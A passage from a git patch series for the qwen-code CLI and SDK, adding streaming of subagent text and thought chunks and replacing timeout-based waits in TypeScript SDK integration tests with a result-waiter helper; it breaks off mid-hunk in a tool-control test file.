deletion(-) diff --git a/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts b/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts index f2bb7cc50..f86571c63 100644 --- a/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts +++ b/packages/cli/src/acp-integration/session/SubAgentTracker.test.ts @@ -14,6 +14,7 @@ import type { SubAgentToolCallEvent, SubAgentToolResultEvent, SubAgentApprovalRequestEvent, + SubAgentStreamTextEvent, ToolEditConfirmationDetails, ToolInfoConfirmationDetails, } from '@qwen-code/qwen-code-core'; @@ -101,6 +102,18 @@ function createInfoConfirmation( }; } +// Helper to create a mock SubAgentStreamTextEvent with required fields +function createStreamTextEvent( + overrides: Partial & { text: string }, +): SubAgentStreamTextEvent { + return { + subagentId: 'test-subagent', + round: 1, + timestamp: Date.now(), + ...overrides, + }; +} + describe('SubAgentTracker', () => { let mockContext: SessionContext; let mockClient: acp.Client; @@ -162,6 +175,10 @@ describe('SubAgentTracker', () => { SubAgentEventType.TOOL_WAITING_APPROVAL, expect.any(Function), ); + expect(onSpy).toHaveBeenCalledWith( + SubAgentEventType.STREAM_TEXT, + expect.any(Function), + ); }); it('should remove event listeners on cleanup', () => { @@ -182,6 +199,10 @@ describe('SubAgentTracker', () => { SubAgentEventType.TOOL_WAITING_APPROVAL, expect.any(Function), ); + expect(offSpy).toHaveBeenCalledWith( + SubAgentEventType.STREAM_TEXT, + expect.any(Function), + ); }); }); @@ -522,4 +543,163 @@ describe('SubAgentTracker', () => { ); }); }); + + describe('stream text handling', () => { + it('should emit agent_message_chunk on STREAM_TEXT event', async () => { + tracker.setup(eventEmitter, abortController.signal); + + const event = createStreamTextEvent({ + text: 'Hello, this is a response from the model.', + }); + + eventEmitter.emit(SubAgentEventType.STREAM_TEXT, event); + + await vi.waitFor(() => { + expect(sendUpdateSpy).toHaveBeenCalled(); + }); + + expect(sendUpdateSpy).toHaveBeenCalledWith( + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { + type: 'text', + text: 'Hello, this is a response from the model.', + }, + }), + ); + }); + + it('should emit multiple chunks for multiple STREAM_TEXT events', async () => { + tracker.setup(eventEmitter, abortController.signal); + + eventEmitter.emit( + SubAgentEventType.STREAM_TEXT, + createStreamTextEvent({ text: 'First chunk ' }), + ); + eventEmitter.emit( + SubAgentEventType.STREAM_TEXT, + createStreamTextEvent({ text: 'Second chunk ' }), + ); + eventEmitter.emit( + SubAgentEventType.STREAM_TEXT, + createStreamTextEvent({ text: 'Third chunk' }), + ); + + await vi.waitFor(() => { + expect(sendUpdateSpy).toHaveBeenCalledTimes(3); + }); + + expect(sendUpdateSpy).toHaveBeenNthCalledWith( + 1, + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { type: 'text', text: 'First chunk ' }, + }), + ); + expect(sendUpdateSpy).toHaveBeenNthCalledWith( + 2, + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { type: 'text', text: 'Second chunk ' }, + }), + ); + expect(sendUpdateSpy).toHaveBeenNthCalledWith( + 3, + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { type: 'text', text: 'Third chunk' }, + }), + ); + }); + + it('should not emit when aborted', async () => { + tracker.setup(eventEmitter, abortController.signal); + abortController.abort(); + + const event = createStreamTextEvent({ + text: 'This should not be emitted', + }); + + eventEmitter.emit(SubAgentEventType.STREAM_TEXT, event); + + await new Promise((resolve) => setTimeout(resolve, 10)); + + expect(sendUpdateSpy).not.toHaveBeenCalled(); + }); + + it('should emit agent_thought_chunk when thought flag is true', async () => { + tracker.setup(eventEmitter, abortController.signal); + + const event = createStreamTextEvent({ + text: 'Let me think about this...', + thought: true, + }); + + eventEmitter.emit(SubAgentEventType.STREAM_TEXT, event); + + await vi.waitFor(() => { + expect(sendUpdateSpy).toHaveBeenCalled(); + }); + + expect(sendUpdateSpy).toHaveBeenCalledWith( + expect.objectContaining({ + sessionUpdate: 'agent_thought_chunk', + content: { + type: 'text', + text: 'Let me think about this...', + }, + }), + ); + }); + + it('should emit agent_message_chunk when thought flag is false', async () => { + tracker.setup(eventEmitter, abortController.signal); + + const event = createStreamTextEvent({ + text: 'Here is the answer.', + thought: false, + }); + + eventEmitter.emit(SubAgentEventType.STREAM_TEXT, event); + + await vi.waitFor(() => { + expect(sendUpdateSpy).toHaveBeenCalled(); + }); + + expect(sendUpdateSpy).toHaveBeenCalledWith( + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { + type: 'text', + text: 'Here is the answer.', + }, + }), + ); + }); + + it('should emit agent_message_chunk when thought flag is undefined', async () => { + tracker.setup(eventEmitter, abortController.signal); + + // Event without thought flag (undefined) + const event = createStreamTextEvent({ + text: 'Default behavior text.', + }); + + eventEmitter.emit(SubAgentEventType.STREAM_TEXT, event); + + await vi.waitFor(() => { + expect(sendUpdateSpy).toHaveBeenCalled(); + }); + + expect(sendUpdateSpy).toHaveBeenCalledWith( + expect.objectContaining({ + sessionUpdate: 'agent_message_chunk', + content: { + type: 'text', + text: 'Default behavior text.', + }, + }), + ); + }); + }); }); diff --git a/packages/cli/src/acp-integration/session/SubAgentTracker.ts b/packages/cli/src/acp-integration/session/SubAgentTracker.ts index 1e745b925..fe711b250 100644 --- a/packages/cli/src/acp-integration/session/SubAgentTracker.ts +++ b/packages/cli/src/acp-integration/session/SubAgentTracker.ts @@ -10,6 +10,7 @@ import type { SubAgentToolResultEvent, SubAgentApprovalRequestEvent, SubAgentUsageEvent, + SubAgentStreamTextEvent, ToolCallConfirmationDetails, AnyDeclarativeTool, AnyToolInvocation, @@ -97,11 +98,13 @@ export class SubAgentTracker { const onToolResult = this.createToolResultHandler(abortSignal); const onApproval = this.createApprovalHandler(abortSignal); const onUsageMetadata = this.createUsageMetadataHandler(abortSignal); + const onStreamText = this.createStreamTextHandler(abortSignal); eventEmitter.on(SubAgentEventType.TOOL_CALL, onToolCall); eventEmitter.on(SubAgentEventType.TOOL_RESULT, onToolResult); eventEmitter.on(SubAgentEventType.TOOL_WAITING_APPROVAL, onApproval); eventEmitter.on(SubAgentEventType.USAGE_METADATA, onUsageMetadata); + eventEmitter.on(SubAgentEventType.STREAM_TEXT, onStreamText); return [ () => { @@ -109,6 +112,7 @@ export class SubAgentTracker { eventEmitter.off(SubAgentEventType.TOOL_RESULT, onToolResult); eventEmitter.off(SubAgentEventType.TOOL_WAITING_APPROVAL, onApproval); eventEmitter.off(SubAgentEventType.USAGE_METADATA, onUsageMetadata); + eventEmitter.off(SubAgentEventType.STREAM_TEXT, onStreamText); // Clean up any remaining states this.toolStates.clear(); }, @@ -273,6 +277,26 @@ export class SubAgentTracker { }; } + /** + * Creates a handler for stream text events. + * Emits agent message or thought chunks for text content from subagent model responses. + */ + private createStreamTextHandler( + abortSignal: AbortSignal, + ): (...args: unknown[]) => void { + return (...args: unknown[]) => { + const event = args[0] as SubAgentStreamTextEvent; + if (abortSignal.aborted) return; + + // Emit streamed text as agent message or thought based on the flag + void this.messageEmitter.emitMessage( + event.text, + 'assistant', + event.thought ?? false, + ); + }; + } + /** * Converts confirmation details to permission options for the client. */ diff --git a/packages/core/src/subagents/subagent-events.ts b/packages/core/src/subagents/subagent-events.ts index 1f7933087..5de09a3c2 100644 --- a/packages/core/src/subagents/subagent-events.ts +++ b/packages/core/src/subagents/subagent-events.ts @@ -56,6 +56,8 @@ export interface SubAgentStreamTextEvent { subagentId: string; round: number; text: string; + /** Whether this text is reasoning/thinking content (as opposed to regular output) */ + thought?: boolean; timestamp: number; } diff --git a/packages/core/src/subagents/subagent.ts b/packages/core/src/subagents/subagent.ts index 39e43e54f..a8dbda7cc 100644 --- a/packages/core/src/subagents/subagent.ts +++ b/packages/core/src/subagents/subagent.ts @@ -412,13 +412,15 @@ export class SubAgentScope { const content = resp.candidates?.[0]?.content; const parts = content?.parts || []; for (const p of parts) { - const txt = (p as Part & { text?: string }).text; + const txt = p.text; + const isThought = p.thought ?? false; if (txt) roundText += txt; if (txt) this.eventEmitter?.emit(SubAgentEventType.STREAM_TEXT, { subagentId: this.subagentId, round: turnCounter, text: txt, + thought: isThought, timestamp: Date.now(), } as SubAgentStreamTextEvent); } From b05de7a1870343060161a04b8f9564dcec86f2ad Mon Sep 17 00:00:00 2001 From: "mingholy.lmh" Date: Tue, 27 Jan 2026 17:10:36 +0800 Subject: [PATCH 48/79] test: improve sdk integration tests --- .../abort-and-lifecycle.test.ts | 20 +- .../sdk-typescript/mcp-server.test.ts | 172 ++++++++++++++++++ .../sdk-typescript/multi-turn.test.ts | 71 +++++++- .../sdk-typescript/permission-control.test.ts | 24 ++- .../sdk-typescript/system-control.test.ts | 33 +++- .../sdk-typescript/test-helper.ts | 23 +++ .../sdk-typescript/tool-control.test.ts | 32 +++- .../src/transport/ProcessTransport.ts | 7 +- 8 files changed, 350 insertions(+), 32 deletions(-) diff --git a/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts b/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts index e28e9046d..d4566fcf3 100644 --- a/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts +++ b/integration-tests/sdk-typescript/abort-and-lifecycle.test.ts @@ -16,7 +16,11 @@ import { type ContentBlock, type SDKUserMessage, } from '@qwen-code/sdk'; -import { SDKTestHelper, createSharedTestOptions } from './test-helper.js'; +import { + SDKTestHelper, + createSharedTestOptions, + createResultWaiter, +} from './test-helper.js'; const SHARED_TEST_OPTIONS = createSharedTestOptions(); @@ -254,6 +258,12 @@ describe('AbortController and Process Lifecycle (E2E)', () => { describe('Closed stdin behavior (asyncGenerator prompt)', () => { it('should reject control requests after stdin closes', async () => { + const resultWaiter = createResultWaiter(1); + let promptDoneResolve: () => void = () => {}; + const promptDonePromise = new Promise((resolve) => { + promptDoneResolve = resolve; + }); + async function* createPrompt(): AsyncIterable { yield { type: 'user', @@ -264,6 +274,9 @@ describe('AbortController and Process Lifecycle (E2E)', () => { }, parent_tool_use_id: null, }; + + await resultWaiter.waitForResult(0); + promptDoneResolve(); } const q = query({ @@ -281,13 +294,14 @@ describe('AbortController and Process Lifecycle (E2E)', () => { for await (const message of q) { if (isSDKResultMessage(message)) { firstResultReceived = true; + resultWaiter.notifyResult(); break; } } expect(firstResultReceived).toBe(true); - - await new Promise((resolve) => setTimeout(resolve, 50)); + await promptDonePromise; + q.endInput(); await expect(q.setPermissionMode('default')).rejects.toThrow( 'Input stream closed', diff --git a/integration-tests/sdk-typescript/mcp-server.test.ts b/integration-tests/sdk-typescript/mcp-server.test.ts index 9b3f21938..cf1de26d4 100644 --- a/integration-tests/sdk-typescript/mcp-server.test.ts +++ b/integration-tests/sdk-typescript/mcp-server.test.ts @@ -19,6 +19,7 @@ import { type SDKMessage, type ToolUseBlock, type SDKSystemMessage, + type SDKUserMessage, } from '@qwen-code/sdk'; import { SDKTestHelper, @@ -26,6 +27,7 @@ import { extractText, findToolUseBlocks, createSharedTestOptions, + createResultWaiter, } from './test-helper.js'; const SHARED_TEST_OPTIONS = { @@ -296,6 +298,176 @@ describe('MCP Server Integration (E2E)', () => { await q.close(); } }); + + it('should support multi-turn asyncGenerator prompt with MCP tools', async () => { + const resultWaiter = createResultWaiter(2); + + async function* createMultiTurnPrompt(): AsyncIterable { + const sessionId = crypto.randomUUID(); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Use the add tool to calculate 2 + 3. Give me the result.', + }, + parent_tool_use_id: null, + }; + + await resultWaiter.waitForResult(0); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: + 'Now use the multiply tool to calculate 5 * 4. Give me the result.', + }, + parent_tool_use_id: null, + }; + + await resultWaiter.waitForResult(1); + } + + const q = query({ + prompt: createMultiTurnPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + debug: false, + mcpServers: { + 'test-math-server': { + command: 'node', + args: [serverScriptPath], + }, + }, + }, + }); + + const messages: SDKMessage[] = []; + let assistantText = ''; + const toolCalls: string[] = []; + + try { + for await (const message of q) { + messages.push(message); + + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } + if (isSDKAssistantMessage(message)) { + const toolUseBlocks = findToolUseBlocks(message); + toolUseBlocks.forEach((block) => { + toolCalls.push(block.name); + }); + assistantText += extractText(message.message.content); + } + } + + expect(toolCalls).toContain('add'); + expect(toolCalls).toContain('multiply'); + expect(assistantText).toMatch(/5/); + expect(assistantText).toMatch(/20/); + + const lastMessage = messages[messages.length - 1]; + expect(isSDKResultMessage(lastMessage)).toBe(true); + } finally { + await q.close(); + } + }); + + it('should support multi-turn MCP tools with canUseTool', async () => { + const canUseToolCalls: Array<{ toolName: string }> = []; + const resultWaiter = createResultWaiter(2); + + async function* createMultiTurnPrompt(): AsyncIterable { + const sessionId = crypto.randomUUID(); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: 'Use the add tool to calculate 9 + 1. Give me the result.', + }, + parent_tool_use_id: null, + }; + + await resultWaiter.waitForResult(0); + + yield { + type: 'user', + session_id: sessionId, + message: { + role: 'user', + content: + 'Now use the multiply tool to calculate 4 * 3. Give me the result.', + }, + parent_tool_use_id: null, + }; + + await resultWaiter.waitForResult(1); + } + + const q = query({ + prompt: createMultiTurnPrompt(), + options: { + ...SHARED_TEST_OPTIONS, + cwd: testDir, + permissionMode: 'default', + canUseTool: async (toolName) => { + canUseToolCalls.push({ toolName }); + return { + behavior: 'allow', + updatedInput: {}, + }; + }, + debug: false, + mcpServers: { + 'test-math-server': { + command: 'node', + args: [serverScriptPath], + }, + }, + }, + }); + + const messages: SDKMessage[] = []; + let assistantText = ''; + const toolCalls: string[] = []; + + try { + for await (const message of q) { + messages.push(message); + + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } + if (isSDKAssistantMessage(message)) { + const toolUseBlocks = findToolUseBlocks(message); + toolUseBlocks.forEach((block) => { + toolCalls.push(block.name); + }); + assistantText += extractText(message.message.content); + } + } + + expect(toolCalls).toContain('add'); + expect(toolCalls).toContain('multiply'); + expect(canUseToolCalls.map((call) => call.toolName)).toEqual( + expect.arrayContaining(['add', 'multiply']), + ); + expect(assistantText).toMatch(/10/); + expect(assistantText).toMatch(/12/); + + const lastMessage = messages[messages.length - 1]; + expect(isSDKResultMessage(lastMessage)).toBe(true); + } finally { + await q.close(); + } + }); }); describe('MCP Tool Message Flow', () => { diff --git a/integration-tests/sdk-typescript/multi-turn.test.ts b/integration-tests/sdk-typescript/multi-turn.test.ts index c1b96cc7c..4cf845fc5 100644 --- a/integration-tests/sdk-typescript/multi-turn.test.ts +++ b/integration-tests/sdk-typescript/multi-turn.test.ts @@ -22,7 +22,11 @@ import { type ControlMessage, type ToolUseBlock, } from '@qwen-code/sdk'; -import { SDKTestHelper, createSharedTestOptions } from './test-helper.js'; +import { + SDKTestHelper, + createSharedTestOptions, + createResultWaiter, +} from './test-helper.js'; const SHARED_TEST_OPTIONS = createSharedTestOptions(); @@ -76,6 +80,8 @@ describe('Multi-Turn Conversations (E2E)', () => { describe('AsyncIterable Prompt Support', () => { it('should handle multi-turn conversation using AsyncIterable prompt', async () => { + const resultWaiter = createResultWaiter(3); + // Create multi-turn conversation generator async function* createMultiTurnConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -90,7 +96,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -102,7 +108,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(1); yield { type: 'user', @@ -113,6 +119,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(2); } // Create multi-turn query using AsyncIterable prompt @@ -133,6 +141,9 @@ describe('Multi-Turn Conversations (E2E)', () => { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { assistantMessages.push(message); const text = extractText(message.message.content); @@ -153,6 +164,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }); it('should maintain session context across turns', async () => { + const resultWaiter = createResultWaiter(2); + async function* createContextualConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -162,12 +175,12 @@ describe('Multi-Turn Conversations (E2E)', () => { message: { role: 'user', content: - 'Suppose we have 3 rabbits and 4 carrots. How many animals are there?', + 'Suppose we have 3 rabbits and 4 carrots. Identify: How many **animals** are there?', }, parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -178,6 +191,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -193,6 +208,9 @@ describe('Multi-Turn Conversations (E2E)', () => { try { for await (const message of q) { + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { assistantMessages.push(message); } @@ -213,6 +231,8 @@ describe('Multi-Turn Conversations (E2E)', () => { describe('Tool Usage in Multi-Turn', () => { it('should handle tool usage across multiple turns', async () => { + const resultWaiter = createResultWaiter(2); + async function* createToolConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -226,7 +246,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -237,6 +257,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -257,6 +279,9 @@ describe('Multi-Turn Conversations (E2E)', () => { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { assistantMessages.push(message); const hasToolUseBlock = message.message.content.some( @@ -286,6 +311,8 @@ describe('Multi-Turn Conversations (E2E)', () => { describe('Message Flow and Sequencing', () => { it('should process messages in correct sequence', async () => { + const resultWaiter = createResultWaiter(2); + async function* createSequentialConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -299,7 +326,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -310,6 +337,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -329,6 +358,9 @@ describe('Multi-Turn Conversations (E2E)', () => { const messageType = getMessageType(message); messageSequence.push(messageType); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { const text = extractText(message.message.content); assistantResponses.push(text); @@ -351,6 +383,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }); it('should handle conversation completion correctly', async () => { + const resultWaiter = createResultWaiter(2); + async function* createSimpleConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -364,7 +398,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -375,6 +409,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -394,6 +430,7 @@ describe('Multi-Turn Conversations (E2E)', () => { messageCount++; if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); completedNaturally = true; expect(message.subtype).toBe('success'); } @@ -441,6 +478,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }); it('should handle conversation with delays', async () => { + const resultWaiter = createResultWaiter(2); + async function* createDelayedConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -455,7 +494,7 @@ describe('Multi-Turn Conversations (E2E)', () => { } as SDKUserMessage; // Longer delay to test patience - await new Promise((resolve) => setTimeout(resolve, 500)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -466,6 +505,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -481,6 +522,9 @@ describe('Multi-Turn Conversations (E2E)', () => { try { for await (const message of q) { + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { assistantMessages.push(message); } @@ -495,6 +539,8 @@ describe('Multi-Turn Conversations (E2E)', () => { describe('Partial Messages in Multi-Turn', () => { it('should receive partial messages when includePartialMessages is enabled', async () => { + const resultWaiter = createResultWaiter(2); + async function* createMultiTurnConversation(): AsyncIterable { const sessionId = crypto.randomUUID(); @@ -508,7 +554,7 @@ describe('Multi-Turn Conversations (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 100)); + await resultWaiter.waitForResult(0); yield { type: 'user', @@ -519,6 +565,8 @@ describe('Multi-Turn Conversations (E2E)', () => { }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); } const q = query({ @@ -539,6 +587,9 @@ describe('Multi-Turn Conversations (E2E)', () => { for await (const message of q) { messages.push(message); + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKPartialAssistantMessage(message)) { partialMessageCount++; } diff --git a/integration-tests/sdk-typescript/permission-control.test.ts b/integration-tests/sdk-typescript/permission-control.test.ts index eee344755..4c253dc28 100644 --- a/integration-tests/sdk-typescript/permission-control.test.ts +++ b/integration-tests/sdk-typescript/permission-control.test.ts @@ -31,6 +31,7 @@ import { hasErrorToolResults, findSystemMessage, findToolCalls, + createResultWaiter, } from './test-helper.js'; const TEST_TIMEOUT = 30000; @@ -44,6 +45,7 @@ const SHARED_TEST_OPTIONS = createSharedTestOptions(); function createStreamingInputWithControlPoint( firstMessage: string, secondMessage: string, + resultWaiter: { waitForResult: (index: number) => Promise }, ): { generator: AsyncIterable; resume: () => void; @@ -66,7 +68,7 @@ function createStreamingInputWithControlPoint( parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(0); await resumePromise; @@ -81,6 +83,8 @@ function createStreamingInputWithControlPoint( }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); })(); const resume = () => { @@ -320,9 +324,11 @@ describe('Permission Control (E2E)', () => { describe('setPermissionMode API', () => { it('should change permission mode from default to yolo', async () => { + const resultWaiter = createResultWaiter(2); const { generator, resume } = createStreamingInputWithControlPoint( 'What is 1 + 1?', 'What is 2 + 2?', + resultWaiter, ); const q = query({ @@ -361,6 +367,9 @@ describe('Permission Control (E2E)', () => { resolvers.second?.(); } } + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } })(); @@ -397,9 +406,11 @@ describe('Permission Control (E2E)', () => { }); it('should change permission mode from yolo to plan', async () => { + const resultWaiter = createResultWaiter(2); const { generator, resume } = createStreamingInputWithControlPoint( 'What is 3 + 3?', 'What is 4 + 4?', + resultWaiter, ); const q = query({ @@ -437,6 +448,9 @@ describe('Permission Control (E2E)', () => { resolvers.second?.(); } } + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } })(); @@ -473,9 +487,11 @@ describe('Permission Control (E2E)', () => { }); it('should change permission mode to auto-edit', async () => { + const resultWaiter = createResultWaiter(2); const { generator, resume } = createStreamingInputWithControlPoint( 'What is 5 + 5?', 'What is 6 + 6?', + resultWaiter, ); const q = query({ @@ -513,6 +529,9 @@ describe('Permission Control (E2E)', () => { resolvers.second?.(); } } + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } } })(); @@ -584,9 +603,11 @@ describe('Permission Control (E2E)', () => { input: Record; }> = []; + const resultWaiter = createResultWaiter(2); const { generator, resume } = createStreamingInputWithControlPoint( 'Create a file named first.txt', 'Create a file named second.txt', + resultWaiter, ); const q = query({ @@ -630,6 +651,7 @@ describe('Permission Control (E2E)', () => { secondResponseReceived = true; resolvers.second?.(); } + resultWaiter.notifyResult(); } } })(); diff --git a/integration-tests/sdk-typescript/system-control.test.ts b/integration-tests/sdk-typescript/system-control.test.ts index a977e6471..0ae28c4c5 100644 --- a/integration-tests/sdk-typescript/system-control.test.ts +++ b/integration-tests/sdk-typescript/system-control.test.ts @@ -8,9 +8,14 @@ import { query, isSDKAssistantMessage, isSDKSystemMessage, + isSDKResultMessage, type SDKUserMessage, } from '@qwen-code/sdk'; -import { SDKTestHelper, createSharedTestOptions } from './test-helper.js'; +import { + SDKTestHelper, + createSharedTestOptions, + createResultWaiter, +} from './test-helper.js'; const SHARED_TEST_OPTIONS = createSharedTestOptions(); @@ -26,6 +31,7 @@ const SHARED_TEST_OPTIONS = createSharedTestOptions(); function createStreamingInputWithControlPoint( firstMessage: string, secondMessage: string, + resultWaiter: { waitForResult: (index: number) => Promise }, ): { generator: AsyncIterable; resume: () => void; @@ -48,7 +54,7 @@ function createStreamingInputWithControlPoint( parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(0); await resumePromise; @@ -63,6 +69,8 @@ function createStreamingInputWithControlPoint( }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(1); })(); const resume = () => { @@ -89,9 +97,11 @@ describe('System Control (E2E)', () => { describe('setModel API', () => { it('should change model dynamically during streaming input', async () => { + const resultWaiter = createResultWaiter(2); const { generator, resume } = createStreamingInputWithControlPoint( 'Tell me the model name.', 'Tell me the model name now again.', + resultWaiter, ); const q = query({ @@ -126,6 +136,9 @@ describe('System Control (E2E)', () => { if (isSDKSystemMessage(message)) { systemMessages.push({ model: message.model }); } + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { if (!firstResponseReceived) { firstResponseReceived = true; @@ -181,6 +194,7 @@ describe('System Control (E2E)', () => { it('should handle multiple model changes in sequence', async () => { const sessionId = crypto.randomUUID(); + const resultWaiter = createResultWaiter(3); let resumeResolve1: (() => void) | null = null; let resumeResolve2: (() => void) | null = null; const resumePromise1 = new Promise((resolve) => { @@ -198,7 +212,7 @@ describe('System Control (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(0); await resumePromise1; await new Promise((resolve) => setTimeout(resolve, 200)); @@ -209,7 +223,7 @@ describe('System Control (E2E)', () => { parent_tool_use_id: null, } as SDKUserMessage; - await new Promise((resolve) => setTimeout(resolve, 200)); + await resultWaiter.waitForResult(1); await resumePromise2; await new Promise((resolve) => setTimeout(resolve, 200)); @@ -219,6 +233,8 @@ describe('System Control (E2E)', () => { message: { role: 'user', content: 'Third message' }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(2); })(); const q = query({ @@ -246,6 +262,9 @@ describe('System Control (E2E)', () => { if (isSDKSystemMessage(message)) { systemMessages.push({ model: message.model }); } + if (isSDKResultMessage(message)) { + resultWaiter.notifyResult(); + } if (isSDKAssistantMessage(message)) { if (responseCount < resolvers.length) { resolvers[responseCount]?.(); @@ -318,6 +337,7 @@ describe('System Control (E2E)', () => { describe('supportedCommands API', () => { it('should return list of supported slash commands', async () => { const sessionId = crypto.randomUUID(); + const resultWaiter = createResultWaiter(1); const generator = (async function* () { yield { type: 'user', @@ -325,6 +345,8 @@ describe('System Control (E2E)', () => { message: { role: 'user', content: 'Hello' }, parent_tool_use_id: null, } as SDKUserMessage; + + await resultWaiter.waitForResult(0); })(); const q = query({ @@ -343,6 +365,9 @@ describe('System Control (E2E)', () => { const messageConsumer = (async () => { try { for await (const _message of q) { + if (isSDKResultMessage(_message)) { + resultWaiter.notifyResult(); + } // Just consume messages } } catch (error) { diff --git a/integration-tests/sdk-typescript/test-helper.ts b/integration-tests/sdk-typescript/test-helper.ts index d7efc026c..07f44f890 100644 --- a/integration-tests/sdk-typescript/test-helper.ts +++ b/integration-tests/sdk-typescript/test-helper.ts @@ -655,6 +655,29 @@ export function hasErrorToolResults(messages: SDKMessage[]): boolean { // Streaming Input Utilities // ============================================================================ +export function createResultWaiter(expectedResults: number): { + waitForResult: (index: number) => Promise; + notifyResult: () => void; +} { + const resolvers: Array<() => void> = []; + const promises = Array.from({ length: expectedResults }, () => { + return new Promise((resolve) => { + resolvers.push(resolve); + }); + }); + let resolvedCount = 0; + + return { + waitForResult: (index: number) => promises[index], + notifyResult: () => { + if (resolvedCount < resolvers.length) { + resolvers[resolvedCount]?.(); + resolvedCount += 1; + } + }, + }; +} + /** * Create a simple streaming input from an array of message contents */ diff --git a/integration-tests/sdk-typescript/tool-control.test.ts b/integration-tests/sdk-typescript/tool-control.test.ts index 90819aad1..aecb98ae6 100644 --- a/integration-tests/sdk-typescript/tool-control.test.ts +++ b/integration-tests/sdk-typescript/tool-control.test.ts @@ -15,6 +15,7 @@ import { describe, it, expect, beforeEach, afterEach } from 'vitest'; import { query, isSDKAssistantMessage, + isSDKResultMessage, type SDKMessage, type SDKUserMessage, } from '@qwen-code/sdk'; @@ -25,6 +26,7 @@ import { findToolResults, assertSuccessfulCompletion, createSharedTestOptions, + createResultWaiter, } from './test-helper.js'; const SHARED_TEST_OPTIONS = createSharedTestOptions(); @@ -751,6 +753,7 